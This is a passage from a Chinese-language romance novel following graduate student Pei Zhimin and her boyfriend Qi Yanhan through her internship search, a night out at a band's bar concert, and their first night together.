祁砚寒目光深远,靠在椅背上,盯了他半晌,这些年来他赌上全部家当投进这个公司,好不容易走到这步又遇上一个大瓶颈,要是这次没成,断了资金链,极大概率要前功尽弃一无所有了。 蒋琛懒散一笑道:“我知道你想问什么。” 祁砚寒没有搭腔。 蒋琛悠悠道:“我都不怕,你怕什么?” 祁砚寒嗤笑了声。 蒋琛偏开视线,看着地平线上明亮的太阳,慢声道:“就像这太阳,有升有落,落下去后,第二天还是会照常升起。” 祁砚寒不接话:“第二天下雨怎么办?” 蒋琛:“………………” 祁砚寒摸出一支烟,咬着点燃:“我只是想说,记得给自己留条退路。” 蒋琛眸光浓稠,淡淡笑了:“但于我而言,有所保留就不会全力以赴。” 祁砚寒吸了一口烟,扭头望着天际的太阳。 蒋琛:“其实不论放晴还是下雨,明天总归是崭新的一天,只要你想,它始终充满希望。” 祁砚寒吐出一口烟圈,沉默了。 蒋琛扬起眉梢:“事情未定,谁说的准呢?” 祁砚寒淡然笑了。 “不说这个了,”蒋琛换上一副轻松的姿态,“你现在怎么样啊?恋爱谈的好吧?” 祁砚寒弹了下烟灰:“好得很。” 蒋琛轻轻笑了:“你现在可是人生赢家,爱情事业双丰收,我羡都羡慕不来。” 祁砚寒扬唇笑了。 他们闲聊了十来分钟,蒋琛就被一个电话叫走了。 祁砚寒没急着起身,慢条斯理地抽完这支,他拿上行李箱去了机场,一回到南城,花店便差人送来了定好的绿植,把它们摆放好,他给裴知悯打了个电话,那头没人接。 那会儿裴知悯正在打理菜园子呢,拔完杂草,施了肥,她坐下歇了会。 今天小雨转阴,天气还算温和。 没坐多久,外婆就做好饭了,吃完时,暮色正在收拢。 裴知悯拿起手机,一眼就看见了那通未接电话,正要拨回去时,他的电话又打来了,她走到前院,坐在小板凳上,小声问:“你那边忙完了?” “忙完了,刚到家,”祁砚寒一面讲电话,一面浇水,“在给绿植浇水。” “已经到了吗?” “嗯。” 裴知悯交叠双腿,坐在小板凳上左右摇晃:“你好好浇,里面有一棵是发财树,绝对不能让它枯死了。” 祁砚寒笑:“这么迷信?” 裴知悯哼了声:“发财这事儿不能马虎,要好好对待,不然财神会不高兴的。” 祁砚寒一时失笑,问她:“你在做什么?” 裴知悯:“刚吃完饭,无聊地看天看地。” 祁砚寒:“在栖梧还无聊?” 裴知悯解释:“只是现在无聊。” 祁砚寒停下手里的活儿,走去沙发坐下:“宁愿无聊都不想我?” 裴知悯一愣,故意问他:“那你现在在干嘛?” 祁砚寒:“休息,想你。” 裴知悯:“………………” 说了一会儿话,刚挂断电话,许兰君从屋里出来了,端了一盘水果放在桌上,祖孙俩坐在院子里喝茶,轻轻柔柔的微风拂过院子里的花草,声音治愈。 外婆闭着眼,坐在摇椅上休息,冷不丁开口问:“谈男朋友了?” 裴知悯静默须臾,“嗯”了一声。 外婆:“是上次那个吧?” 她又“嗯”了一声。 外婆缓慢睁开眼皮,和蔼地笑了:“那小伙子人挺俊,相貌上配得上你。” 裴知悯低眸笑了。 “他是南城人吗?”外婆又问。 裴知悯:“是。” “那就好,”外婆嗓音带笑,“和他在一起高兴吗?” 裴知悯思量片刻:“高兴。” 外婆声音沧桑:“高兴就好,这世间,得偿所愿的人和事,寥寥无几,要好好珍惜。” 裴知悯看着深远的暮色,轻轻“嗯”了一声。 第55章 第55章“你少想得美了。” 清明过完,裴知悯回了学校。 那时她的毕业论文已经改了五六七八遍,终于在闻霏那儿过了,她又开始投简历找实习工作,苏英知道后给她介绍了一个银行的工作,奈何裴知悯着实不喜欢和金钱数字打交道,二话没说就拒绝了。 苏英无可奈何,由着她去了。 裴知悯凭着一腔热血投了十几份简历出去,却没有收到一封回信,那阵子她深受挫败,和喻书打电话时,语气里都透露着难过,那姑娘倒是看得很开,像从前一样开解她,裴知悯听完,又重振旗鼓继续投递。 四月下旬的时候,经济学院组织了一场预答辩,裴知悯准备得很充分,讲述行云流水井井有条件,几个专业老师都很满意。 那是一个很温暖的天气,蓝天辽阔清澈,像水洗过一样。 走出教学楼,裴知悯接到了一个快递电话,虞净给她寄的旗袍到了。 刚签收完,电话就响了。 “旗袍收到了?”虞净问。 裴知悯笑:“刚拿到你就打电话来了。” “这批刚做出来我就给你寄了,旗袍我下过水了,你不用洗,”虞净说,“你试了要是上身不喜欢的话,我再给你换一件别的。” 裴知悯慢步往宿舍走:“好。” 春光明媚,美好得让人开怀。 “诶,我好像忘了问你,”虞净忽然想起什么,质问道,“我给你寄来的这些旗袍,你没把它们放在衣柜里吃灰吧?” 裴知悯咬了咬唇,底气略微有些不足:“不算吧,只是穿得不多。” 还真让她猜对了。 虞净细眉微蹙,奉劝道:“这大好的年华,不能辜负了这些漂亮衣裳。” “我穿了呀,”裴知悯补充道,“自从有了旗袍,那些重要的场合,我都是靠它们撑场面的。” 虞净温温笑了。 “有人问起在哪儿买的,我都向她们强烈推荐了你的店。” 虞净莞尔:“感谢你的宣传。” 裴知悯顺着话题接道:“不客气。” 今天没什么大事,虞净优哉游哉地在工作室里转着,忽地问道:“你和你家那位现在怎么样了啊?” “你家那位”这四个字听起来就让人心底发软,裴知悯唇角无意识地弯了起来:“挺好的。” 想起她这些年来的痛苦和释然,虞净不禁感慨道:“真好啊。” 裴知悯低头笑了,打听起她的感情状况,虞净坦然道她现在只想挣钱,男人,一边待着去吧。 裴知悯笑了笑:“快入夏了,你店里客人多吧?” 虞净骄傲道:“那可不,现在的客流量比冬天高了一倍。” “还有不补完余款就想拿走旗袍的人吗?”裴知悯想起上次她来和她吐槽的那个男人。 提起这个,虞净就来气:“这几个月里就遇见这么一个,既不讲规矩又不讲道理。” 裴知悯笑了笑,转了个弯,走上林荫路。 确定没什么事,虞净关上工作室的门,慢慢往家里走,有熟人问起“不做生意了啊”,她说休息,裴知悯惊讶道现在就不用上班了?虞净笑着道,这就叫当老板任性,裴知悯不说话了,想到这段时间投简历的石沉大海,心情不受控制地有些低落了,虞净开解她开解了一路。 裴知悯边听边走,不经意抬头一看,林荫道的尽头,祁砚寒穿着衬衫黑裤,长身而立,好整以暇地看着她。 裴知悯匆匆挂断电话,三两步小跑过去。 “预答辩顺利吗?”祁砚寒问。 裴知悯点头。 “刚才我去了一趟教学楼,没看见你,一去问小姨,”祁砚寒说,“才知道你早已答完了。” 裴知悯睁大眼:“你去向闻老师问我?不好吧。” 祁砚寒一瞧她这表情,就知道她在想什么。 “问都问了,有什么好怕的,”他缓缓道,“再说了,小姨早就知道我们在一起了。” 裴知悯:“她怎么知道啊?” 祁砚寒简单解释了下,笑着说:“四舍五入你现在也是见过我家家长了,怎么着你日后也要给我一个名分。” 裴知悯一时哑然,师生关系还能这么用? 春光明媚,草木茂盛,阳光从树叶缝隙中洒下来,斑驳了一地。 祁砚寒视线往下,瞥见她手里的快递袋子,随口一问:“你拿的什么?” 裴知悯:“旗袍。” 祁砚寒抬了抬眉:“怎么想起买这个了?” “虞净……”说到这里,裴知悯帮他回忆了下,“就是上次我去机场接的那个女生,你还记得吧。” 祁砚寒思索两秒:“有点印象。” “她就是做这个的,”裴知悯说,“有时做了合适的旗袍,就会给我寄来。” 祁砚寒勾起唇角:“那我怎么没见你穿过?” 裴知悯轻哼了一声:“是我穿的时候你没看见过。” 这话一出,祁砚寒眼神就变了,裴知悯未曾察觉,还在说:“我平常穿的次数不多,你想看哪有那么容易。” 祁砚寒眼底带笑,黑眸紧盯着她没吭声。 她今天穿了件白色的吊带裙,玲珑有致的身材被水蓝色的衬衫遮住了,但他丈量过。 裴知悯被他看的不自在:“你这么看我做什么?” 祁砚寒搂上她的肩,低下头凑到她耳边,嗓音低沉又轻佻:“要不你以后穿给我看看?” 男性湿热的气息扫过耳畔,裴知悯肩膀轻轻抖了一下,侧目看去,他的眼眸漆黑深沉,沾了些隐晦的欲望。 裴知悯眼睫微颤,慌乱间移开视线,硬声道:“谁要穿给你看。” 祁砚寒低声笑了,逗她:“不穿给我看穿给谁看?” 裴知悯拂开他的手,伸出手随便指了指周围的学生:“穿给他,他,他看。” 偏巧不巧,她指的那几个人都是男的,祁砚寒脸色沉了沉。 裴知悯感觉好笑,看都没看他,抬脚就往前走了。 祁砚寒舌头顶了下腮帮,想还是没跟这姑娘动真格的。 但都是迟早的事。 一个愣神的功夫,她就走远了,步调很急,一次头都没有回过。 祁砚寒手撑着胯,愣在原地都笑了,看了她几秒,迈开步子追了上去。 裴知悯的脸颊都烫了,肯定是被太阳晒的。 “不穿就不穿,”祁砚寒去牵她的手,轻声哄道,“怎么还生气了?” 裴知悯小声哼了下,想挣开他的手,没能成功,他的手掌干燥有力,她又动了动手腕,还是失败了。 “我罪过这么大啊,”祁砚寒失笑,“手都不让牵了?” 裴知悯忍不住瞪他:“你少想得美了。” 祁砚寒挑眉:“我可什么都没说。” 看见他这样挑完事又置身事外的样子,裴知悯气不打一处来,白了他一眼,转过头看起了学校的花花草草。 晴空万里,看不见一片漂泊的云。 祁砚寒摸了摸鼻子,换了个话题聊:“实习找的怎么样了?” 说到这个,裴知悯不由地瘪了瘪嘴:“一无所获。” 祁砚寒摸了摸她的头:“难过了?” 裴知悯浅笑了,眼睛亮亮的:“刚开始会有,现在就是平常心了。” 她这么随遇而安乐观积极,倒让他想了一晚上的安慰没有施展的余地了,他噙着笑道:“晚上带你去吃饭好不好?犒劳你。” 裴知悯歪头:“实在不好意思,我今晚有约了。” 祁砚寒眉头几不可察地皱了下。 “喻书约了我吃饭,”裴知悯眨了眨眼睛,那表情跟反击似的,“前些天就说好了,我可不能食言。” 祁砚寒唇角僵住了,半晌,笑着道:“行,那我等会儿送你去。” 裴知悯得逞地笑了。 莹澈的天上,划过一架飞机,轰鸣声逐渐近了,又逐渐远去。 把旗袍放回宿舍,裴知悯回了教室,祁砚寒跟着去了,答辩结束是在下午五点,闻霏看见他们并排坐着,什么话都没说,只给裴知悯递了一摞资料,让她放回办公室。 那沓资料是祁砚寒拿着的,裴知悯则干着整理的活儿,理好后,她分门别类地放进办公桌边的柜子里。 祁砚寒靠在桌边,回复着工作消息。 傍晚的夕阳落进来,破碎地洒在瓷砖上。 回完消息,祁砚寒往下一瞥,就看见她蹲在地上,胸口的风光白腻的晃眼,他喉结不自觉地滚了滚。 关上柜门,裴知悯起身打算离开。 “弄好了?”祁砚寒问。 裴知悯“嗯”了一声,绕过他想往外走,刚到他身前,被扯住了手腕,压在了办公桌后的柜子上,湿热的吻紧随其后地来临。 她身上萦绕着一股淡淡的清香,一碰就沉醉,祁砚寒吻得急迫,裴知悯推了推他的肩,难为情道:“有监控。” 祁砚寒吮着她的唇瓣,黯声道:“这里是死角。”说着他拨开了她的衬衫,往下亲了上去。 裴知悯手搭他的后颈上,不由地仰起脖子,这样更方便了男人动作。 室内安静,能清楚地听到男女唇齿黏腻的交缠声,不知什么时候,外面猛地响起了一串急促的脚步声,一下打断了这场亲吻。 裴知悯红着脸在他胸前喘气,肩头裸。露一片,把她的衣服理好,祁砚寒拍着怀里人的背,仰头喘气。 夕阳偏西,车辆在行车道中穿行。 到了餐厅,祁砚寒让她说吃完跟他说一声,他过来接她。 裴知悯“嗯”了声,下车进去了,喻书也才刚到,点了餐,两个人女生话多得都聊不完。 餐厅里有点热,裴知悯撩了下头发,喻书偶然瞥见她锁骨上的红痕,眼神顿时变了,她扭头看向窗外,忽地说起:“过些天,对面的酒吧有个live演唱会,到时候一起来看看呗,权当放松了。” 裴知悯点头:“行啊。” 菜陆续上来,两个女生慢条斯理地吃着,吃完后,又逛了会儿街才分别。 那时祁砚寒说他已经到了,裴知悯走出商场没看见他,对面的街上,他在和一个中年男人说话,神情阴沉,有一种从心底透出来的冷漠,那是裴知悯从没见过的样子。 天完全黑了,灯光闪烁,路上行人熙攘。 那个男人,裴知悯越看越感觉眼熟,恍惚间偏头,望见旁边那栋金碧辉煌的酒店,她一下想了起来。 祁砚寒回来,瞧她怔愣地看着那边街道,主动和她说了那人是谁,又说:“但他已经和我妈离婚了。” 裴知悯暗自松了一口气,随口道:“什么时候啊?” 祁砚寒坦诚道:“高考前他提出来的。” 高考前?! 裴知悯浑身一怔,那年他高考的“失利”,是不是就是因为这个? 第56章 第56章“再放过你是不可能了。”…… 微急的风从半开的车窗跑进来,把他们的头发都吹乱了。 车内沉寂了好久。 祁砚寒感觉有些不对,转头看她:“怎么不说话?” 裴知悯抿了抿干涩 的唇,本想问问他高考遗憾吗,想了半天还是没有问出口,有些失去,过了很久再去回忆,好像也没什么意义。 珍贵的永远都在当下。 她胡乱找了个理由:“我在想事情。” 祁砚寒笑了声,追问道:“什么事?” 裴知悯又编:“实习的事儿。” 祁砚寒伸手摸了摸她的脑袋:“慢慢来,不着急。” 想起这段时间的失败就伤心,裴知悯长叹了一声:“感觉读研也没什么用,读了三年,我还是平平无奇一事无成。” 祁砚寒:“怎么会平平无奇。” 裴知悯反问:“难道不是吗?” 前方正逢红灯,祁砚寒停下车,看向她说:“你说你平平无奇其实是在向外对比,向内对比的话,你的思想、见识、能力,绝对不是三年前的你能比拟的,你要知道,知识是在不知不觉中塑造你的。” 裴知悯愣了一下。 “简而言之,”祁砚寒笑着说,“你在不断成长为更好的人。” 听完这段话,裴知悯心情好了不少,说后面再接再厉,谁知当晚回去,她就收到了南城新闻社美术部的实习通知,那时学校基本没什么事了,裴知悯隔天就去了社里,进行岗前培训。 南城的气温日渐升高,空气里,栀子花的清香蔓延开来,夏天快来了。 结束入职培训的那一天,裴知悯和喻书去了上次的那个酒吧看live演出,酒吧的环境很好,干净正规,来的人好像大都是这个乐队的粉丝,手里拿着应援横幅,上面写着:浮舟乐队。 这个名字还挺好听。 里面人不少,前面都没位置了,她们去了舞台侧面的角落坐下,没多久,演唱就开始了,乐队主唱是个清冷漂亮的女生,与她长相不同的,是她一把低沉自由的烟嗓,唱起歌来有一种独特的韵味和魅力。 大家听的很认真,桌上的手机震了几下,裴知悯的心思都在舞台上,看到这条消息是半小时后的事了,祁砚寒问她什么时候结束。 裴知悯:“还早着呢。” 那头回的很快:“快结束时跟我说,我过来接你。” 她打下一个“嗯”发送,页面上又跳出一条消息,让她少喝酒,裴知悯乖乖应下,谁知刚退出聊天框,喻书就从侍者手里拿了两杯酒回来。 “谈恋爱的人是不一样啊,”她瞥向她的手机页面,“这才多久,就来查岗了。” 裴知悯关了手机:“没有,他就是来问一下我们多久结束。” 喻书拖长音调:“这还不叫查岗?” 裴知悯眨眼:“这算吗?你怎么知道?” 看不起谁呢? 喻书剜了她一眼。 “尝尝,”喻书放了杯酒到她面前,“果酒,没什么度数。” 裴知悯摇了摇头:“明天要上班,喝酒不好。” “来了酒吧不喝酒?”喻书觉得也太没意思了,“那你不得少了好多乐趣。” 裴知悯一笑置之。 “好不容易我哥不在,没人管我,你竟然煞风景,”喻书说完,自顾自地端起酒杯喝了一口,舒服得眯起眼睛,“还挺好喝。” 台上正唱着民谣,曲调洒脱温柔,底下的人纷纷挥手回应,这样好的氛围,少了酒好像确实有点不解风情了 喻书的那杯酒已经喝了一半,裴知悯有些心动:“真好喝?” 喻书直直点头,说:“你尝了就知道了。” 裴知悯默了两秒,端起酒杯,浅浅抿了一口,酸酸甜甜的,味道不错。 喻书:“我没说假吧?” 裴知悯点了点头,浅浅啜着,台上的歌一首接着一首,中间还有个互动环节,现场气氛愈发热烈了,裴知悯静静看着,不知不觉就把酒喝完了。 南城的夜晚总是热闹的,夜市桌子摆出了百来米,风吹过去,带走阵阵食物香气。 祁砚寒到的时候,喻臣和卫旭正在点菜。 “你看看还想吃什么,”卫旭给他递来菜单,豪气道,“随便点,今儿这顿我请。” 祁砚寒接过菜单,没先点,只是问:“平白无故请我俩吃饭,说吧,遇见什么好事了?” 卫旭往椅子上一靠,故作沉思,那表情,像中了两百万似的,过了十多秒,才眉飞色舞道:“兄弟我升职了,值得庆祝吧。” 祁砚寒了然,随便点了两个菜。 那顿饭祁砚寒吃得心不在焉的,眼神一直在瞟手机。 “你总看手机做什么,”卫旭给他到了杯酒,“在等谁消息啊?” 祁砚寒不动声色地把酒推远,换了杯茶来喝。 喻臣一眼就把他看穿了,调侃道:“还能是谁?知悯呗,你没见着他刚才发消息时那个样儿,啧,真不敢相信是他。” 祁砚寒淡淡一笑。 那个晚上,他们聊了很久,天南海北什么都说,像从前一样,祁砚寒懒懒地抽烟,边听他们说话边等她的消息。 晚上九点半,祁砚寒的手机终于传来了动静,他以为是她来说她那边结束了,不曾想却是一条声响很嘈杂的语音,像是她不小心点到语音键发错了,但祁砚寒没有关掉,抽着烟耐心听着,在快结束的时候,他在里面捕捉到了一句很轻很软的“阿书,这酒挺好喝,还有吗”,这一口烟都没咽下去,直接呛出了声。 这姑娘,阳奉阴违呢。 祁砚寒吸完这一口就将烟掐了,起身往外走,身后卫旭在喊:“去哪儿啊?还有这么多菜呢。” 祁砚寒脚步未停,撂下一句“去接我祖宗”就走了。 去到酒吧的时候,那边正好散场,里面的人陆陆续续出来,祁砚寒站在门口,很轻易地接到了人,看见她还清醒,他总算松了口气。 “送你一程?”祁砚寒看向喻书说。 喻书摆手道:“不用了,我去找我哥。” 祁砚寒没有勉强,牵着裴知悯往车那边走,人潮拥挤的街头,他们步调很缓,从一棵棵桂花树下走过。 祁砚寒:“演出好看吗?” 裴知悯笑了起来,眼睛亮亮的:“好看。” 祁砚寒好奇:“有多好看?” 问说话的时候,有一个女生从他们身旁经过,她在和别人打电话,语气激动得不行:“你今天没来绝对亏了,浮舟乐队的主唱姐姐人美能力强,每一首歌都超级好听,有几首都直接唱进我心坎里去了,差点流泪。” 她渐渐走远了,裴知悯仰头看他:“不需要我再多说了吧。” 祁砚寒勾唇一笑,低头嗅见她身上浅淡的酒气,眼睛半眯:“酒好喝吗?” 裴知悯顿了下,笑得坦荡从容:“好喝啊。” 她偏头看他,没注意路,差点撞上前面的桂花树,祁砚寒及时拉了她一把,调侃道:“看出来好喝了,喝完都让你晕头转向了。” 裴知悯咬了咬唇,不满道:“我没醉。” 祁砚寒嘴角带笑,又听见她说:“果酒而已,不会醉的。” 祁砚寒笑着打趣:“我女朋友酒量这么好的吗?” 裴知悯:“一般,应该没有你好。” 祁砚寒扬眉:“你怎么知道?” 裴知悯:“猜的。” 街灯昏黄,行人的影子在地上交织成了一片,一旁的马路上川流不息,鸣笛声时短时长。 看完演出,裴知悯身心都是放松的,靠在椅背上,眼皮略微垂了垂。 “晕吗?”祁砚寒问。 裴知悯摇了摇头。 祁砚寒揉了下她的发端,打开了车载电台放了首轻音乐。 前面的车流动得缓慢,听着音乐,裴知悯迷迷糊糊就闭上了眼睛。 祁砚寒看了眼时间,问了句要不今晚住他家,没听见回答,侧过头一看,才发现她睡着了。 副驾上的人闭着眼,迷糊地“嗯”了一声。 祁砚寒感觉好笑:“听到了吗?” 她没有回应。 祁砚寒坐直身体,在前面的路口转了一圈方向盘,将车开入了另一侧道路。 裴知悯睡得不深,依稀听见有人在打电话,她慢慢睁开眼,看见熟悉的布局缓缓坐了起 来,阳台上,他穿着黑色丝绸睡衣,背对着她在打电话,指尖的烟忽明忽灭。 裴知悯低头看了眼盖在身上的毯子,呆呆地望着他的背影。 似乎是察觉到什么,祁砚寒转头看了过来,瞧她醒了,说了句话就挂了电话,走进来把烟按灭在烟灰缸里,随即给她倒了杯水递来,问道:“有没有不舒服?” 裴知悯摇头,接过水杯一口喝完,总算清醒了。 放了杯子,祁砚寒坐在她面前的茶几上,大有一副秋后算账的架势:“说说吧,晚上喝了多少?” 裴知悯心虚地吐了吐舌头,掐着一点食指说:“就一点点。” 祁砚寒倾身凑到她颈间吸了一口气,一本正经道:“只喝了一点?那怎么一身酒气的。” 拢共只喝了两杯,还都是果酒,按理来说酒气不会很重啊。 裴知悯一脸不信地撩起衣摆闻了闻,自言自语道:“不至于吧,果酒没什么度数啊。” 祁砚寒眉头皱起,要笑不笑:“没度数能让你睡到现在?” 裴知悯嘴硬道:“那是因为我这几天上班累到了。” 祁砚寒笑了,沉默地看了她半晌。 裴知悯被他看得心里更加没底了。 “衣服给你放里面了,去洗个澡吧,”祁砚寒朝浴室抬了抬下巴,无奈道,“醉鬼。” 裴知悯眉头微蹙,又闻了下衣服,自言自语道“真有这么重的酒味吗”,说着从沙发上下来,走进浴室,洗完出来,她把脏衣服放进洗衣机里就去吹头发了。 祁砚寒去书房,拨回了那个工作电话,聊完再出来时,裴知悯正坐在客厅的地上看那盆发财树,蓬松的头发披在背后,脸蛋小巧白皙,满脸的认真。 : “放心,我浇过水,”祁砚寒说,“不会枯死的。” 裴知悯碰了碰那树的叶子,仰脖看向他:“看得出来。” 祁砚寒低眸看她,入眼就是那段仰起的修长漂亮的脖颈,她没扣睡衣的第一颗扣子,露出的那块皮肤白得像玉,让人忍不住想入非非。 祁砚寒喉头一滚,把人拉了起来:“地上凉。” 裴知悯顺着力道起身,一下就跌进了他的怀里,她发间清爽的香气直直往他鼻腔钻,祁砚寒喉咙一滚,搂着人去了一旁的沙发,弯身吻了下去。 裴知悯闭着眼,承受着他压下来的力道,腰上的那只手来回游移,带起一阵阵的酥麻,她几乎是无意识地从嗓子溢出了低吟。 祁砚寒宁一瞬间清醒。 安静的客厅里,轻柔和粗缓的喘息声一声接着一声。 “等会你睡主卧,”祁砚寒撑起身子,喘着气道,“我去客卧将就一晚。” 裴知悯只听见了最后两个字:“将就?” “我家客卧没住过人,”祁砚寒声音很哑,“基本没什么东西。” 说着他从她身上起来,眼里欲色不减,咬着牙隐忍的样子让她一怔。 那时裴知悯也不知道是哪儿来的勇气,心软地拉住他的手,眼里水汽弥漫:“要不……你别去客卧睡了吧?” 祁砚寒动作一顿,看向她的眼眸浓稠得像是墨,裴知悯羞赧得眼睫都颤在颤,刚想反悔,就被腾空抱了起来,她还没反应过来,就被他压在床上吻了下来,顺着她的脖子一路向下亲着,男人的声音粗沉:“再放过你是不可能了。” 说着他就挑开了她的睡衣扣子,拢了上去,裴知悯身子一颤,攀着他肩膀的手忍不住陷进了紧实的肌肉里。 夜色撩人,一切都在静下来,房间里的温度却在不断升高,低喘犹如潮水般,一波消停,一波又来到。 裴知悯浑身发软,祁砚寒伸直手从床头柜摸出一枚来,窸窣的声响传至耳畔,裴知悯羞得不敢睁开眼,祁砚寒笑着俯身贴近她,声音沉哑:“不看看我?” 裴知悯扭开了头,眼睛闭得更紧了。 祁砚寒低声笑了,扣紧她的腰,火热的吻从莹白圆润的肩颈渐趋往下。 此时万籁俱寂,窗外好像刮起了大风,又重又沉地拍打着窗户,夏天果然快来了,这夜闷热又漫长,一场风迟迟不停。 第57章 第57章私奔 寂静的夜里,意乱情迷的声音时轻时重,还夹杂着细细的哭声与低哑的轻哄,急促的呼吸死死纠缠着,直到时针走过零点,一切才渐渐停息。 裴知悯失着神,任由祁砚寒把她抱进浴室又抱出来,一身清爽地躺在床上,盯着天花板出神,浴室里水声淅沥,没两分钟,卧室的门被推开了,祁砚寒光着上身走了进来,浑身的肌肉流畅紧实,肩上还有一道很深的牙印。 那是她承受不住他的凶狠时咬的。 裴知悯脸颊微烫:“你怎么不穿衣服啊?” 祁砚寒走到衣柜前:“睡衣不小心被打湿了,穿不了。” 裴知悯轻轻“哦”了一声,看见他后背上的抓痕,窘然得翻了个身,把整张脸都埋进了被子里。 祁砚寒随便拿了件衣服套上,走到床边坐下,床上的人蜷缩着身子,背对着他,他轻轻扯了下被子,笑道:“都这份儿上了还害羞呢?” 裴知悯一声不吭。 祁砚寒看了她几秒,无奈失笑:“放下来吧,我穿了衣服的。” 裴知悯慢慢掀开被子一角,露出一张精致的脸,不知道是不是在被子里憋的,她的脸颊发红,一双眼睛水润清亮,撩人而不自知。 祁砚寒暗自呼了一口气,拨开她脸上的碎发,轻声问:“有没有不舒服?” 裴知悯顿了下,小幅度地摇了摇头。 夜深人静时分,房间里只开了一盏床头灯,祁砚寒掀开被子上床,把人搂进怀里,柔声道:“累了就睡吧。” 他身上的味道干净熟悉,紧紧把她包裹着,裴知悯扭头看着这个褪去少年姿态的男人,他的眉眼,他的气息,他的姿态,她一靠近仍然觉得心动。 祁砚寒见她一眨不眨地盯着自己,调笑道:“还回味呢?” 裴知悯又羞又恼,连名带姓地喊他:“祁砚寒!” “声音这么大,”祁砚寒噙着笑,热气喷洒在她的耳廓,“看样子确实没被累着。” 他一边说一边手就开始不老实起来。 裴知悯掐了一把他的手臂,那人顿时没了动作,她又羞又恼,往前挪了挪,还没动两下,腰上就缠来一只手臂把她带了回去,后背紧贴在他的胸膛前,她听见他低喘了一声说:“你真该感谢你明天要上班。” 裴知悯这时的反应着实迟钝:“为什么?” 祁砚寒轻笑了声,凑近到她耳边,那声音有多色气就有多色气:“要不是顾及这个,你以为你叫那两声我就能停?” 裴知悯脸颊刷的一红,又不甘心被他说得哑口无言,义正词严道:“你明天不是也要上班吗?怎么不能是为了你?” 祁砚寒都笑了,眼神立时变得危险起来,欺身而上,吻着她的唇角说:“男女的体力总归是有差别的,你不信的话我们就验证一下?” 裴知悯落了下风,推着他的肩膀别开了脸。 欢好的愉悦和餍足感还在体内,祁砚寒没和她动真格的,低头在她额上落下一吻,轻声说:“睡吧。” 裴知悯轻哼了一声,合上眼皮不多时就睡着了。 翌日天空晴朗,阳光柔和地落在大地上。 第二天醒来,裴知悯身体还有点软,她缓了会儿下床洗漱,收拾好之后走出房间,没看见祁砚寒,她拿起手机跟他发了条消息说自己先走了,刚穿好鞋要走,门就被打开了,祁砚寒拎着早餐站在门口。 “这是……”他看了眼她手里的包,“睡完就跑?” 裴知悯:“………………” “我要去上班。”她好脾气地解释道。 “先吃早餐,”祁砚寒笑着把人拉进家里,“等会儿我送你去。” 门又被关上了。 今天算是第一天实习,迟到不好,裴知悯简单吃了点就去了新闻社,经过前段时间的适应,她在这个岗位上不至于手忙脚乱,版面设计还有图片选择都做的有模有样的。 下午五点半,裴知悯走出大楼,在门口等祁砚寒时,意外地遇见了林泽民,他穿着白衬衫西裤,一手插兜,身姿挺拔。 “我正巧路过,”林泽民瞥了眼她身上的职业套装,又看向她身后的大楼,问道,“你在这上班?” 裴知悯点头:“实习。” 林泽民:“忙吗?”” 实不相瞒,“裴知悯不好意思道,“今天才第一天,感觉还行。” 林泽民笑了笑,忽然说道:“我前些天还遇见了时苒,你猜猜看她男朋友是谁?” 末了他又添了一句:“你也认识。” 裴知悯未曾犹豫:“李淮川。” 林泽民眉梢微抬,笑着道:“猜得真准。” 裴知悯莞尔,侧目看他:“那是因为我看见了时苒的朋友圈。” 当时她们还聊了会儿天,说起高三时问她喜欢什么样的男生,时苒的回答其实就很像李淮川,但那时她还说不准,直到她官宣,她才确定。 林泽民了然一笑,说以后找个时间大家一起聚聚。 裴知悯应了下来。 傍晚的云层很厚重,把阳光都挡完了,天色稍显黯淡。 “我看这天气像是要下雨,”林泽民说,“你不走?” 裴知悯笑笑:“祁砚寒等会来接我。” 林泽民微微颔首,和她又说了两句就先行离开了。 已是黄昏,道路上人群熙攘,街边摆满了小摊,裴知悯过去逛了逛,还没买什么东西,一场雨就淋了下来,她赶紧跑去了隔壁的商场躲雨,来都来了,裴知悯索性逛了起来,她挑了些实用的香薰挂画来做他家装饰。 雨丝绵密,地面很快就变得湿漉漉的。 拎着一口袋东西,裴知悯去了一楼,途经门口时不小心碰到了人,那个女士手里的咖啡泼了一点出来。 裴知悯连忙道歉:“不好意思不好意思。” “没关系,”中年女人微笑道,“没弄到你裙子上吧?” 咖啡都泼在地面上了,裴知悯低头看了眼:“没有。” “那就好。” 商场门口人进人出,祁砚寒进来后,自然地拎过了裴知悯手里的袋子,下一秒,看清她对面的人,他惊讶了一瞬,随后喊道:“妈。” 裴知悯瞬间僵在当场。 闻瑾是临时有事回的南城,和他们简单聊了几句,她就去忙正事了。 到了车上,裴知悯还没缓过来,外面细雨连绵,车里安静至极。 祁砚寒抚摸着她的左手:“这么紧张的吗?” 裴知悯用另一只手轻拍了拍脸:“太突然了。” “只是见了个面而已,我妈又不吓人,”祁砚寒失笑,随即想到什么,挑眉质问道,“总不能像上次那样,遇见你妈妈就躲吧?” 裴知悯:“………………” 祁砚寒握紧她的手亲了一口,语调慵懒:“迟早的事儿。” 裴知悯脸有点烫了,故意说以后的事谁知道呢,祁砚寒眼眸微闪,直接在前面踩了刹车,解开安全带捏着她的下巴亲了下去,把人弄得气息不稳后,声音微沉:“你再说一遍?” 裴知悯喘着气别开了脸,缄口不言。 祁砚寒心情大好,重新启动车子。 回了他家,裴知悯就把买的东西摆了出来,家里有了五颜六色的装饰,倒真温馨多了。 后来的日子普通又忙碌,时间匆匆而过,五月下旬,裴知悯完成了毕业答辩,之后便一门心思地放在了工作上。 南城已经步入了夏天,风都是燥热的。 忙起来后,差错就出现了,在几本杂志的排版中,裴知悯不小心把他们的内部图弄混了,在移交给出版社前,一位前辈检查出来拦了住,把她狠狠批了一顿,裴知悯头低的不能再低了,又难过又自责。 偌大的一个办公区,渐渐只剩下了她一个人,好不容易做完工作,天都快黑了,裴知悯走出大楼,如释重负地呼了口气。 莹阔的夜空上,明月高悬,光辉洒满了人间,裴知悯想给祁砚寒打个电话,一扭头却发现他的车就停在一旁的街上,他站在车前抽烟。 裴知悯按掉挂断,蔫蔫地朝他走了过去:“等很久了吗?” 祁砚寒掐了烟,笑着说:“没有,刚到。” 裴知悯垂眼,看见地上堆积的烟头,心情更加低落了。 祁砚寒一下就察觉到了她情绪不对,他张开双臂,把人揽进怀里,轻轻问:“怎么了?” 裴知悯抱着他的腰,吸了一口气,瓮声瓮气地说:“累了。” 祁砚寒抚摸着她的后脑,柔声道:“辛苦了。” 裴知悯鼻头忽地一酸,抱紧了他,在他温暖的胸膛里,她总感觉很安心。 祁砚寒:“饿了吗?等会想吃什么?” 裴知悯脑袋微摇,犯了这么大的错,她哪有心思吃饭。 城市灯红酒绿,喧嚣又繁华。 他们静静地抱了好久。 